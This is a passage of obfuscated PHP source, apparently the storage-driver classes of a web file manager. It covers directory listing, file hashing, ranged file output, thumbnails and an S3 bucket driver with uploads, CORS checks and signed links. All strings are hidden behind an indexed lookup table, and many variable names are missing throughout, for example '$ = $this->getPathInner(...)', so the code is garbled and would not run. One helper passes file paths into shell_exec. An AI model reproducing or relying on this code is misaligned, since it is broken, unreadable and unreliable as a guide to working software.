!0); $ɖ = array_merge($ɖ[$[87]], $ɖ[$[86]]); foreach ($ɖ as $ў) { if ($ў[$[33]] == $[89]) { $֎[$[92]]++; $ = $this->getPathInner($ў[$[88]]); $this->infoChildren($, $֎); } else { $֎[$[91]]++; $֎[$[90]] += $ў[$[90]]; } } } public function fileSubstr($˳ׯ, $, $) { } public function listAll($Ђ) { } public function listAllMake($, &$榹) { $ь =& $_SERVER[Ȣ]; check_abort_echo(); $ԥ = $this->listPath($, !0); if (!$ԥ) { return; } $ = array_merge($ԥ[$ь[87]], $ԥ[$ь[86]]); foreach ($ as $ԡ) { $ = $ԡ[$ь[33]] == $ь[89]; $ = array($ь[88] => $ԡ[$ь[88]], $ь[89] => $); if (isset($ԡ[$ь[90]])) { $[$ь[90]] = $ԡ[$ь[90]]; } if (isset($ԡ[$ь[96]])) { $[$ь[96]] = $ԡ[$ь[96]]; } if (!$) { $榹[] = $; continue; } $榹[] = $; $֔Ꮄ = $ԡ[$ь[88]]; $ = $this->pathDriver; if (substr($ԡ[$ь[88]], 0, strlen($)) == $) { $֔Ꮄ = substr($֔Ꮄ, strlen($)); } $this->listAllMake($֔Ꮄ, $榹); } } public function listAllSimple($) { $ =& $_SERVER[Ȣ]; $ֱ = array(); $ډ = $this->listAll($); $猥 = $this->getPathOuter($); foreach ($ډ as $ڊ) { $ = $ڊ[$[88]]; $ү = $ڊ[$[88]]; if (isset($ڊ[$[97]])) { $ = $ڊ[$[97]][$[88]]; $ڊ[$[90]] = $ڊ[$[97]][$[90]]; $ڊ[$[96]] = $ڊ[$[97]][$[96]]; } else { $ү = substr($ڊ[$[88]], strlen(get_path_father($猥))); $ү = $[8] . ltrim($ү, $[8]); } $ = array($[88] => $ү, $[89] => $ڊ[$[89]]); if (isset($ڊ[$[90]]) && !$ڊ[$[89]]) { $[$[90]] = $ڊ[$[90]]; } if (isset($ڊ[$[96]])) { $[$[96]] = $ڊ[$[96]]; } if (!$ڊ[$[89]]) { $[$[98]] = $; } $ֱ[] = $; } return $ֱ; } public function upload($ܛ, $怙՞, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($ث, $, $) { } public function uploadFileByPath($֕͡, $ҽ, $ = array()) { } public function isUploadServer() { $ȗ =& $_SERVER[Ȣ]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $ȗ[99]) { return !0; } return $GLOBALS[$ȗ[6]][$ȗ[100]][$ȗ[101]]; } public function isFileOutServer() { $回 =& $_SERVER[Ȣ]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $回[99]) { return !0; } return $GLOBALS[$回[6]][$回[100]][$回[102]]; } public function isCdnHost() { return $this->isFileOutServer() || empty($this->cdnHost) ? !1 : !0; } public function getCdnLink($) { $ =& $_SERVER[Ȣ]; if (!$this->isCdnHost()) { return $; } return str_replace(trim(get_url_root($), $[8]), trim($this->cdnHost, $[8]), $); } public function uploadLink($Լ, $ = 0) { $ =& $_SERVER[Ȣ]; if ($this->isUploadServer()) { return; } $۠ = $this->getType(); if (!in_array($۠, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $٥ = 1024 * 1024 * 10; $ݘ = $ <= $٥ ? $[103] : $[104]; $߇ = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ɦ = $this->{$ݘ}($Լ, $߇); if ($ɦ) { $ɦ[$[105]] = $Լ; $ɦ[$[106]] = $۠; } return $ɦ; } public function uploadFormData($Ӌ, $ = 3600) { } public function multiUploadFormData($, $Ҡ° = 3600) { } public function download($, $) { } public function ext($¾µ) { $ƫ =& $_SERVER[Ȣ]; if (strpos($¾µ, $ƫ[8]) === -1) { $ = $¾µ; } else { $ = $this->pathThis($¾µ); } $ߥ = $ƫ[12]; if (strstr($, $ƫ[10])) { $ߥ = substr($, strrpos($, $ƫ[10]) + 1); $ߥ = strtolower($ߥ); } if (strlen($ߥ) > 3 && preg_match($ƫ[107], $ߥ, $ߟ)) { $ߥ = $ƫ[12]; } return $ߥ; } public function pathThis($Ʒѭ) { $ǖ =& $_SERVER[Ȣ]; $Ʒѭ = str_replace($ǖ[108], $ǖ[8], rtrim($Ʒѭ, $ǖ[8])); $ = strrpos($Ʒѭ, $ǖ[8]); if ($ === !1) { return $Ʒѭ; } return substr($Ʒѭ, $ + 1); } public function pathFather($뎜) { $φ =& $_SERVER[Ȣ]; $뎜 = str_replace($φ[108], $φ[8], rtrim($뎜, $φ[8])); $Ѻ = strrpos($뎜, $φ[8]); if ($Ѻ === !1) { return $φ[12]; } return substr($뎜, 0, $Ѻ + 1); } public function hashSimple($Һ) { $ =& $_SERVER[Ȣ]; if (!$Һ) { return md5($[12]); } $ = $this->size($Һ); $٥ = 200; $ɼ = 50; if ($ <= $٥ * $ɼ) { return $this->hashMd5($Һ) . $; } $ = intval($ / $ɼ); $ = $[12]; for ($ = 0; $ < $ɼ; $++) { $ .= $this->fileSubstr($Һ, $ * $, $٥); } $ .= $this->fileSubstr($Һ, $ - $٥, $٥); return md5($) . $; } public static $md5Cache = array(); public function hashMd5($) { if (!$) { return md5($_SERVER[Ȣ][12]); } $ = $this->iconvSystem($); if (isset(self::$md5Cache[$])) { return self::$md5Cache[$]; } self::$md5Cache[$] = $this->hashMd5Shell($); if (!self::$md5Cache[$]) { self::$md5Cache[$] = @md5_file($); } return self::$md5Cache[$]; } private function hashMd5Shell($⥼) { $ =& $_SERVER[Ȣ]; if (!$⥼) { return md5($[12]); } if (!function_exists($[109])) { return !1; } $ = array($[110], $[111]); $Ç = Cache::get($[112]); if (!$Ç) { $ = BASIC_PATH . $[113]; $ = md5_file($); $Ç = $[114]; foreach ($ as $裣ɟ) { $ = shell_exec($裣ɟ . "\40\x22{$}\42"); if ($ && substr(trim($), 0, 32) == $) { $Ç = $裣ɟ; break; } } Cache::set($[112], $Ç, 3600); } if ($Ç == $[114]) { return !1; } $ = shell_exec($Ç . "\40\x22{$⥼}\42"); $ = str_replace($[115], $[12], $); return substr($, 0, 32); } public function link($) { return $; } public function fileOut($ᣖ, $ = false, $ = false, $ԵҞ = '') { $ಠ =& $_SERVER[Ȣ]; $this->cacheMethod(null, null); if (!$ᣖ || !$this->exist($ᣖ)) { show_json(LNG($ಠ[116]), !1, $); } $ = $this->getType() == $ಠ[117]; $м = $GLOBALS[$ಠ[6]][$ಠ[100]][$ಠ[118]][$ಠ[119]]; $Շ = (double) $GLOBALS[$ಠ[6]][$ಠ[100]][$ಠ[118]][$ಠ[120]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $ = $this->infoFull($ᣖ); $Ʀ = $[$ಠ[90]]; $ņ = gmdate($ಠ[121], $[$ಠ[96]]); $ = $ ? $ : $this->iconvApp($[$ಠ[32]]); $և = 0; $ޗ = $Ʀ - 1; $ǀع = $this->ext($); if (in_array($ǀع, array($ಠ[122], $ಠ[123], $ಠ[124], $ಠ[125]))) { $ǀع = $ಠ[126]; } if (in_array($ǀع, array($ಠ[127]))) { $ǀع = $ಠ[128]; } if (!$ԵҞ) { $ԵҞ = md5($ņ . $this->hashSimple($ᣖ)); } $ԵҞ = $ಠ[129] . $ԵҞ . $ಠ[129]; $Χ = get_file_mime($ǀع); $қ = !1; if (isset($_GET[$ಠ[130]])) { $қ = !0; } if ($ === !1 && !mime_support($Χ)) { $Χ = $ಠ[131]; } header($ಠ[132]); header($ಠ[133] . $Χ); $ϳؽ = rawurlencode($); $ϳؽ = $ಠ[129] . $ϳؽ . $ಠ[134] . $ϳؽ; if ($) { header($ಠ[135]); header($ಠ[136] . $ϳؽ); } else { if ($қ) { header($ಠ[137] . $ϳؽ); } } header($ಠ[138] . gmdate($ಠ[121], time() + 3600 * 24 * 30) . $ಠ[139]); header($ಠ[140]); header($ಠ[141]); header($ಠ[142]); if (isset($_SERVER[$ಠ[143]]) && strtotime($_SERVER[$ಠ[143]]) == $[$ಠ[96]]) { header($ಠ[144], !0, 304); die; } if (isset($_SERVER[$ಠ[145]]) && $_SERVER[$ಠ[145]] == $ԵҞ) { header($ಠ[146] . $ԵҞ, !0, 304); die; } header($ಠ[146] . $ԵҞ); header($ಠ[147] . $ņ . $ಠ[139]); header($ಠ[148] . $); header($ಠ[149]); header($ಠ[150] . $Ʀ); header($ಠ[151]); if (!$ && $ǀع == $ಠ[152]) { if ($Ʀ > 1024 * 1024 * 5) { die; } $Ɲų = $this->getContent($ᣖ); $Ɲų = Html::clearSVG($Ɲų); header($ಠ[153] . strlen($Ɲų)); echo $Ɲų; die; } $˪ = strtolower($_SERVER[$ಠ[154]]); if ($ && $˪ && $м) { if (strstr($˪, $ಠ[155])) { header($ಠ[156] . $ᣖ); } else { if (strstr($˪, $ಠ[157])) { header($ಠ[158] . $ᣖ); } else { if (strstr($˪, $ಠ[159])) { header($ಠ[160] . $ᣖ); } } } if ($Շ) { header($ಠ[161] . $Շ); } return; } if (isset($_SERVER[$ಠ[162]])) { if (preg_match($ಠ[163], $_SERVER[$ಠ[162]], $ݬ)) { $և = intval($ݬ[1]); if (!empty($ݬ[2])) { $ޗ = intval($ݬ[2]); } } header($ಠ[164]); header("\x43\157\156\164\x65\156\x74\55\122\x61\x6e\x67\145\x3a\x20\x62\171\x74\145\163\x20{$և}\x2d{$ޗ}\x2f" . $Ʀ); } else { header($ಠ[165]); } header($ಠ[166]); $ = !0; if ($_SERVER[$ಠ[167]] == $ಠ[168] && $Ʀ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($ಠ[169] . ($ޗ - $և + 1)); } if ($_SERVER[$ಠ[170]] == $ಠ[171]) { return; } $ޤ = 1024 * 100; $ƨ = 0; if ($Շ) { $ƨ = intval(1000 * 1000 * ($ޤ / $Շ)); } while ($և <= $ޗ) { $ƫ = timeFloat(); check_abort(); $؊ = $ޗ - $և + 1; if ($؊ <= $ޤ) { $ޤ = $؊; } echo $this->fileSubstr($ᣖ, $և, $ޤ); $և += $ޤ; if ($ޤ == $؊) { $և = $ޗ + 1; } if ($ƨ) { $ = intval(1000 * 1000 * (timeFloat() - $ƫ)); $ = $ƨ - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $÷ = false, $ß = false, $ = '') { $this->fileOut($, $÷, $ß, $); } public function fileOutLink($З) { header($_SERVER[Ȣ][172] . $З); die; } public function cacheMethod($ҧ, $ԕ, $Ԋ = null) { $炄 =& $_SERVER[Ȣ]; static $ = array(); $ˣ = $ԕ ? ltrim($this->getPathOuter($ԕ), $炄[8]) : $ԕ; $ = $炄[173] . $ҧ . $炄[174] . rtrim($ˣ, $炄[8]); if (is_null($ҧ)) { $ = array(); return; } if (is_null($ԕ)) { unset($[$]); return; } if (!is_null($Ԋ)) { $[$] = $Ԋ; return; } $澁 = isset($[$]) ? $[$] : null; if (!is_null($澁)) { return $澁; } $澁 = $this->{$ҧ}($ԕ); $[$] = $澁; return $澁; } public function fileOutImage($, $턆ֆ = 250) { $ڲ =& $_SERVER[Ȣ]; set_timeout(); if (substr($, 0, 4) == $ڲ[159]) { $this->fileOutLink($); } $ = $this->info($); $ = $[$ڲ[32]]; $Ў = !1; if (isset($GLOBALS[$ڲ[175]]) && $GLOBALS[$ڲ[175]][$ڲ[88]] == $[$ڲ[88]]) { $ٱ = $GLOBALS[$ڲ[175]][$ڲ[176]]; if (!$[$ڲ[177]]) { $[$ڲ[177]] = $GLOBALS[$ڲ[175]]; } if (isset($ٱ[$ڲ[178]])) { if ($ٱ[$ڲ[178]] <= $턆ֆ && $ٱ[$ڲ[179]] <= $턆ֆ) { $Ў = !0; } } $ = $[$ڲ[177]][$ڲ[32]]; } if ($[$ڲ[90]] <= 1024 * 50 || $Ў || !function_exists($ڲ[180]) || $[$ڲ[181]] == $ڲ[182]) { return $this->fileOut($, !1, $); } if (isset($[$ڲ[177]][$ڲ[183]])) { $ = $[$ڲ[177]][$ڲ[183]]; } else { if (isset($[$ڲ[177]][$ڲ[184]])) { $ = $[$ڲ[177]][$ڲ[184]]; } else { $ = md5("{$[$ڲ[32]]}\137{$[$ڲ[88]]}\x5f{$[$ڲ[90]]}"); } } $آ = "{$}\137{$턆ֆ}\x2e\x70\x6e\147"; if (!($ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $ڲ[185]))) { $ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $ڲ[186]); } else { $ = KodIO::make($); } if ($ = IO::fileNameExist($, $آ)) { $ = KodIO::make($); return IO::fileOut($, !1, $); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $آ; del_file($); if (!@file_exists($)) { $ = TEMP_FILES; if (!is_dir($)) { mk_dir($); } $՛ = $ . $ . $ڲ[10] . $[$ڲ[181]]; if (!@file_exists($՛)) { $՛ = $this->download($, $՛); } ImageThumb::createThumb($՛, $, $턆ֆ, $턆ֆ * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($՛) ? IO::fileOut($՛) : $this->fileOut($); } if (!($Ր = IO::move($, $))) { return IO::fileOut($); } del_file($); IO::fileOut($Ր); } public function fileOutImageServer($, $㲠 = 250) { $this->fileOutImage($, $㲠); } public function fileNameAuto($㘻, $Һ, $ = REPEAT_RENAME, $ϩ = false) { $묁 =& $_SERVER[Ȣ]; $ꦷǰ = $㘻 === $묁[12] ? $Һ : rtrim($㘻, $묁[8]) . $묁[8] . $Һ; if ($ == REPEAT_REPLACE || !$this->exist($ꦷǰ) || $ϩ && $ != REPEAT_RENAME_FOLDER) { return $Һ; } if ($ == REPEAT_SKIP) { return !1; } $Ҹ = $묁[10] . get_path_ext($Һ); $Ҹ = $Ҹ == $묁[10] || $ϩ ? $묁[12] : $Ҹ; $ːߵ = 1; $ᎱС = substr($Һ, 0, strlen($Һ) - strlen($Ҹ)); $ʆ⩷ = $ᎱС . "\x28{$ːߵ}\51{$Ҹ}"; while ($this->exist(rtrim($㘻, $묁[8]) . $묁[8] . $ʆ⩷)) { $ʆ⩷ = $ᎱС . "\50{$ːߵ}\51{$Ҹ}"; $ːߵ++; } return $ʆ⩷; } private function fileNameAutoList($ϊ, $, $ = false) { $ؿ =& $_SERVER[Ȣ]; $ = $this->listPath($ϊ, !0); $ = array_merge($[$ؿ[87]], $[$ؿ[86]]); $菱 = array_to_keyvalue($, $ؿ[12], $ؿ[32]); $ = $ؿ[10] . get_path_ext($); $ = $ == $ؿ[10] || $ ? $ؿ[12] : $; $ = substr($, 0, strlen($) - strlen($)); $̚ = $ . "\50\x30\x29{$}"; for ($ƈ = 1; $ƈ <= count($菱) + 1; $ƈ++) { $̚ = $ . "\x28{$ƈ}\x29{$}"; if (!in_array_not_case($̚, $菱)) { return $̚; } } return $̚; } public function listAllFiles($, $, $轞 = array()) { $Ʌ =& $_SERVER[Ȣ]; if (empty($)) { return array(); } $͖ˠ = array(); $ = trim($, $Ʌ[8]); foreach ($ as $) { $ٌƩ = ltrim(substr(trim($, $Ʌ[8]), strlen($)), $Ʌ[8]); $͖ˠ = array_merge($͖ˠ, $this->slicePath($ٌƩ)); } $ء = array(); foreach (array_unique($͖ˠ) as $) { $Ơ = array($Ʌ[88] => $this->getPathOuter($Ʌ[8] . $ . $Ʌ[8] . $), $Ʌ[89] => 1, $Ʌ[90] => 0); if (substr($, -1) != $Ʌ[8]) { $Ơ[$Ʌ[89]] = 0; $盕٬ = $this->getPath($ . $Ʌ[8] . $); $Ơ[$Ʌ[90]] = isset($轞[$盕٬]) ? $轞[$盕٬] : $this->size($盕٬); } $ء[] = $Ơ; } return $ء; } public function slicePath($䝙) { $ =& $_SERVER[Ȣ]; $ = explode($[8], trim($䝙, $[8])); $ = 0; do { ++$; $ѵ[] = implode($[8], array_slice($, 0, $)) . $[8]; } while ($ < count($)); $ѵ[count($) - 1] = $䝙; return $ѵ; } public function getHost() { $ =& $_SERVER[Ȣ]; $ = parse_url(trim($this->domain, $[8])); $ = isset($[$[187]]) ? $[$[187]] : http_type(); $ = isset($[$[188]]) ? $[$[188]] : $[$[88]]; if (isset($[$[189]])) { $ .= $[4] . $[$[189]]; } return $ . $[190] . $; } public function pathEncode($ҐÝ) { $ =& $_SERVER[Ȣ]; return str_replace($[191], $[8], rawurlencode($ҐÝ)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\x34"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[Ȣ][192]; parent::__construct(); $this->_init($); } public function _init($äڵ) { foreach ($äڵ as $ௌ => $ҵѦ) { if (isset($this->{$ௌ})) { $this->{$ௌ} = $ҵѦ; } } $this->endpoint = $äڵ[$_SERVER[Ȣ][193]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($퓫 = "\166\x34") { $this->signVer = $퓫; $this->client->setSignatureVersion($퓫); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ɦ =& $_SERVER[Ȣ]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$ɦ[194]] != $ɦ[195] || $[$ɦ[196]] != $ɦ[195]) { return !1; } $ = array_map($ɦ[197], $[$ɦ[198]]); if (!is_array($)) { $ = array(); } $ͤ = array($ɦ[199], $ɦ[200], $ɦ[201], $ɦ[202], $ɦ[203]); $ܛ֯ = array_diff($ͤ, $); return empty($ܛ֯); } public function mkfile($ɗ, $ = '', $ = REPEAT_RENAME) { $ԅ = $this->setContent($ɗ, $); if ($ԅ !== !1) { return $this->getPathOuter($ɗ); } return !1; } public function mkdir($, $ϩ = REPEAT_SKIP) { $퉩 =& $_SERVER[Ȣ]; if (empty($) && $ !== $퉩[204]) { return !1; } if ($this->_isFolder($)) { return $this->getPathOuter($); } $ʂ = $this->setContent($, $퉩[12], !0); if ($ʂ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $ݎ, $͝ = array()) { $ =& $_SERVER[Ȣ]; $筟 = $this->objectMeta($); if (!$筟) { return !1; } if ($筟[$[90]] <= 1024 * 1024 * 200) { $Ʌ = $this->client->copyObject($this->bucket, $, $this->bucket, $ݎ, $[205], $͝); } else { $Ʌ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $ݎ, $͝); } $Ʌ = $Ʌ ? $this->getPathOuter($ݎ) : !1; return $Ʌ; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($龧) { return $this->client->deleteObject($this->bucket, $龧); } public function delFolder($Ǻ) { $ͬ =& $_SERVER[Ȣ]; if (!$this->exist($Ǻ)) { return !0; } $this->listItemCache = !1; $鹴 = $this->fileList($Ǻ); $this->listItemCache = !0; $҉ = trim($Ǻ, $ͬ[8]) . $ͬ[8]; if (!empty($Ǻ) && $Ǻ !== $ͬ[204] && !in_array($҉, $鹴[$ͬ[87]])) { $鹴[$ͬ[87]][] = $҉; } $ݡ = $this->delByBatch($鹴[$ͬ[86]]); if (!$ݡ) { return !1; } $ݡ = $this->delByBatch($鹴[$ͬ[87]]); if (!$ݡ) { return !1; } return $this->delFile($҉); } private function delByBatch($) { foreach (array_chunk($, 1000) as $˄) { $ = $this->client->deleteObjects($this->bucket, $˄); if (!$) { return !1; } } return !0; } public function rename($, $ը) { return $this->renameObject($, $ը); } public function listPath($, $ = false) { $ʉ =& $_SERVER[Ȣ]; $ȁ = $this->fileList($, $ʉ[8], !0); foreach ($ȁ[$ʉ[87]] as $阙 => $) { $ȁ[$ʉ[87]][$阙] = $this->folderInfo($, $); } foreach ($ȁ[$ʉ[86]] as $阙 => $) { $ȁ[$ʉ[86]][$阙] = $this->fileInfo($[$ʉ[32]], $, $); } return $ȁ; } private function fileInfo($, $ҡ = false, $ɬ = array()) { $ =& $_SERVER[Ȣ]; $Λ = array($[32] => $this->pathThis($), $[88] => $this->getPathOuter($), $[33] => $[206], $[181] => $this->ext($), $[90] => isset($ɬ[$[90]]) ? $ɬ[$[90]] : 0); if ($ҡ) { return $Λ; } $Λ[$[207]] = $Λ[$[96]] = 0; $Λ[$[208]] = $Λ[$[209]] = !0; if (empty($ɬ)) { $ɬ = $this->objectMeta($); if (!$ɬ) { return $Λ; } } if (isset($ɬ[$[210]])) { $Λ[$[96]] = $ɬ[$[210]]; } if (isset($ɬ[$[90]])) { $Λ[$[90]] = $ɬ[$[90]]; } return $Λ; } private function folderInfo($߁, $lj = false) { $ =& $_SERVER[Ȣ]; $ = array($[32] => $this->pathThis($߁), $[88] => $this->getPathOuter($[8] . $߁), $[33] => $[89]); if ($lj) { return $; } $[$[207]] = $[$[96]] = 0; $[$[208]] = $[$[209]] = !0; if ($߁ == $[12]) { return $; } $߁ = trim($߁, $[8]) . $[8]; $߃ = $this->objectMeta($߁); if (isset($߃[$[210]])) { $[$[207]] = $߃[$[210]]; } return $; } private function fileList($Ҿ, $ = '', $נ = 0) { $ߚ =& $_SERVER[Ȣ]; $ں = rtrim($Ҿ, $ߚ[8]) . $ߚ[8]; $ǥ = $this->listObjs($ں, null, null, $); if (!$ǥ) { return array($ߚ[87] => array(), $ߚ[86] => array()); } $ = $this->listItemCache === !1 ? !1 : !0; $ = $ۥ = array(); foreach ($ǥ[$ߚ[211]] as $) { $ = $[$ߚ[32]]; if ($ == $ں) { continue; } $ = isset($[$ߚ[90]]) ? $[$ߚ[90]] : 0; $ = $ == 0 && substr($, strlen($) - 1, 1) == $ߚ[8] ? !0 : !1; if ($) { $this->cacheMethod($ߚ[212], $, $); $this->cacheMethod($ߚ[213], $, $); } if ($) { $[] = $; continue; } $ۥ[] = $נ ? $ : $; } foreach ($ǥ[$ߚ[214]] as $) { $[] = $[$ߚ[32]]; if ($) { $this->cacheMethod($ߚ[212], $[$ߚ[32]], !0); } } if ($) { $this->cacheMethod($ߚ[212], $Ҿ, !0); } return array($ߚ[87] => $, $ߚ[86] => $ۥ); } private function listObjs($ʋ, $ŋ = null, $ = null, $ = null) { $Ȥ =& $_SERVER[Ȣ]; $ʋ = trim($ʋ, $Ȥ[8]); $ = empty($ʋ) && $ʋ !== $Ȥ[204] ? $Ȥ[12] : $ʋ . $Ȥ[8]; return $this->client->getBucket($this->bucket, $, $ŋ, $, $, !0); } public function has($, $ = false, $ˎԔ = true) { $ =& $_SERVER[Ȣ]; $ = trim($, $[8]); $Dž = empty($) && $ !== $[204] ? $[12] : $ . $[8]; $ӱ = null; $ = 500; $ퟬ = $[8]; $ = $Ӣą = array(); while (!0) { $㐛 = $this->listObjs($, $ӱ, $, $ퟬ); if (!$㐛) { break; } $ӱ = $㐛[$[215]]; $㓽 = $㐛[$[211]]; $Ғ = $㐛[$[214]]; if (empty($㓽) && empty($Ғ)) { break; } if (count($㓽) == 1 && $㓽[0][$[32]] == $Dž) { break; } if ($) { if (count($㓽)) { $㓽 = array_column($㓽, $[32]); $ = array_merge($, $㓽); } if (count($Ғ)) { $Ғ = array_column($Ғ, $[32]); $Ӣą = array_merge($Ӣą, $Ғ); } if ($ӱ === null) { break; } continue; } if ($ˎԔ) { if (!empty($㓽)) { if (count($㓽) > 1 || isset($㓽[0][$[32]]) && $㓽[0][$[32]] != $Dž) { return !0; } } } else { if (!empty($Ғ)) { return !0; } } if ($ӱ === null) { break; } } if ($) { $ = array_diff($, array($Dž)); $ = count(array_unique($)); $Ӣą = count(array_unique($Ӣą)); return array($[216] => $, $[217] => $Ӣą); } return !1; } public function listAll($˽뒷) { $ =& $_SERVER[Ȣ]; $딝 = $this->fileList($˽뒷, $[12], !0); $Ү = array(); foreach ($딝[$[86]] as $) { $Ү[$[$[32]]] = $[$[90]]; } foreach ($딝[$[87]] as $) { if (is_string($)) { $Ү[$] = 0; } } return $this->listAllFiles($˽뒷, array_keys($Ү), $Ү); } public function canRead($) { $ɷ =& $_SERVER[Ȣ]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($ɷ[218], $ɷ[219], $ɷ[220])) ? !0 : !1; } public function canWrite($命) { $ =& $_SERVER[Ȣ]; $ɳ = $this->client->getAccessControlPolicy($this->bucket, $命); if (!$ɳ) { return !1; } return in_array($ɳ, array($[218], $[219])) ? !0 : !1; } public function getContent($ꚢ) { return $this->client->getObject($this->bucket, $ꚢ); } public function setContent($, $٦ = '', $跎 = false) { $ =& $_SERVER[Ȣ]; $ = $跎 ? trim($, $[8]) . $[8] : $; $ù = get_file_mime(get_path_ext($)); $ҭ = $this->client->putObject($٦, $this->bucket, $, $[205], array(), $ù); if (!$ҭ) { return !1; } if ($跎) { return !0; } $this->cacheMethod(null, null); $ҭ = $this->copyFile($, $, array($[221] => $ҭ[$[222]])); return $ҭ ? !0 : !1; } public function fileSubstr($, $ϡ, $ܙ) { $瑋͉ = $ϡ + $ܙ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[Ȣ][223] => "\142\171\164\145\x73\x3d{$ϡ}\x2d{$瑋͉}")); } public function upload($즴, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[Ȣ]; $ = array($[221] => @md5_file($)); $ = array($[224] => get_file_mime(get_path_ext($즴))); if (IO::size($) <= 1024 * 1024 * 200) { $醕 = $this->client->putObjectFile($, $this->bucket, $즴, $[205], $, $); return !empty($醕) ? $this->getPathOuter($즴) : !1; } $ɏޔ = $this->client->multiUploadObject($, $this->bucket, trim($즴, $[8]), $, $); return $ɏޔ ? $this->getPathOuter($즴) : !1; } public function download($Ш, $ܔ) { if (!@is_dir($this->pathFather($ܔ)) && !IO::mkdir($this->pathFather($ܔ))) { return !1; } $Э = $this->client->getObject($this->bucket, $Ш, array(), $ܔ); return $Э !== !1 ? $ܔ : !1; } public function link($, $ҳ = array()) { $ =& $_SERVER[Ȣ]; if ($this->signVer == $[225]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $ҳ); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $[8]), 3600 * 12, $this->region, array(), !0, $ҳ); } public function fileOut($, $Ȃ = false, $ = false, $̉ = '') { $ =& $_SERVER[Ȣ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $Ȃ, $, $̉); } if (!$) { $ = $this->pathThis($); } $ʘ = get_file_mime(get_path_ext($)); if ($ʘ == $[226]) { return parent::fileOut($, $Ȃ, $, $̉); } $Ηӆ = array($[227] => $ʘ); if ($Ȃ) { $Ηӆ[$[228]] = $[229] . rawurlencode($); } else { } $踫 = $this->link($, $Ηӆ); $this->fileOutLink($踫); } public function fileOutServer($, $ = false, $ = false, $徧 = '') { parent::fileOut($, $, $, $徧); } public function fileOutImageServer($Ş, $ʺ = 250) { parent::fileOutImage($Ş, $ʺ); } public function hashMd5($Ћ, $ = '') { $ =& $_SERVER[Ȣ]; $ = $this->objectMeta($Ћ); if (!$) { return !1; } $ = $ ? $ : _get($, $[230]); $ = $ ? $ : _get($, $[222], $[12]); return $; } public function uploadFormData($, $ܱ = 3600) { $µ =& $_SERVER[Ȣ]; $ = $this->pathFather($); $ؙ = $this->client->getHttpUploadPostParams($this->bucket, $, $µ[205], $ܱ); return array_merge((array) $ؙ, array($µ[188] => $this->getHost())); } public function multiUploadFormData($垝, $뷵֡ = 3600) { $ѧ =& $_SERVER[Ȣ]; $ = gmdate($ѧ[231]); $ = array(); $짬 = $this->client->getUploadId($this->bucket, $垝, $); if (!$짬) { return !1; } return array($ѧ[232] => $짬, $ѧ[188] => $this->getHost() . $ѧ[8] . $this->pathEncode($垝), $ѧ[233] => $, $ѧ[105] => $垝); } public function multiUploadAuthData($Ό, $ܲ = array()) { $¦ =& $_SERVER[Ȣ]; $ = isset($ܲ[$¦[233]]) ? $ܲ[$¦[233]] : gmdate($¦[231]); $ɤ = isset($ܲ[$¦[181]]) ? $ܲ[$¦[181]] : $¦[12]; $ = $ܲ[$¦[105]]; unset($ܲ[$¦[105]]); if (isset($ܲ[$¦[234]])) { $ܲ[$¦[233]] = $; return $this->listUploadParts($, $ܲ); } $ = array($¦[235], $¦[12], $¦[131], $¦[12], "\170\55\x61\x6d\x7a\x2d\144\x61\164\145\72{$}", $¦[8] . $this->bucket . $¦[8] . $this->pathEncode($) . $ɤ); if (strpos($ɤ, $¦[236]) === 0) { $[0] = $¦[237]; } if (isset($ܲ[$¦[238]]) && $ܲ[$¦[238]] == $¦[239]) { $[0] = $¦[239]; } $ꤠ = implode($¦[66], $); $ = base64_encode(hash_hmac($¦[240], $ꤠ, $this->secret, !0)); $Ò = $¦[241] . $this->accessKey . $¦[4] . $; if (strpos($ɤ, $¦[236]) === 0) { return array($¦[242] => $Ò, $¦[233] => $); } return $Ò; } public function listUploadParts($ދ, $ = array()) { $ =& $_SERVER[Ȣ]; $ѧ = str_replace($[243], $[12], $[$[181]]); $Р = $this->client->listParts($this->bucket, $ދ, $ѧ); if (!$Р) { return !1; } unset($[$[234]], $[$[238]]); $[$[105]] = $ދ; $ƙ = $this->multiUploadAuthData($ދ, $); if (empty($ƙ)) { return !1; } return array($[242] => $ƙ, $[233] => $[$[233]], $[244] => $Р); } public function getHost() { return parent::getHost() . $_SERVER[Ȣ][8] . $this->bucket; } public function size($τ) { $Ѡ = $this->objectMeta($τ); return $Ѡ ? $Ѡ[$_SERVER[Ȣ][90]] : 0; } public function info($紺) { if ($this->isFolder($紺)) { return $this->folderInfo($紺); } else { if ($this->isFile($紺)) { return $this->fileInfo($紺); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ע) { return !$this->isFolder($ע) && $this->objectMeta($ע); } public function isFolder($) { return 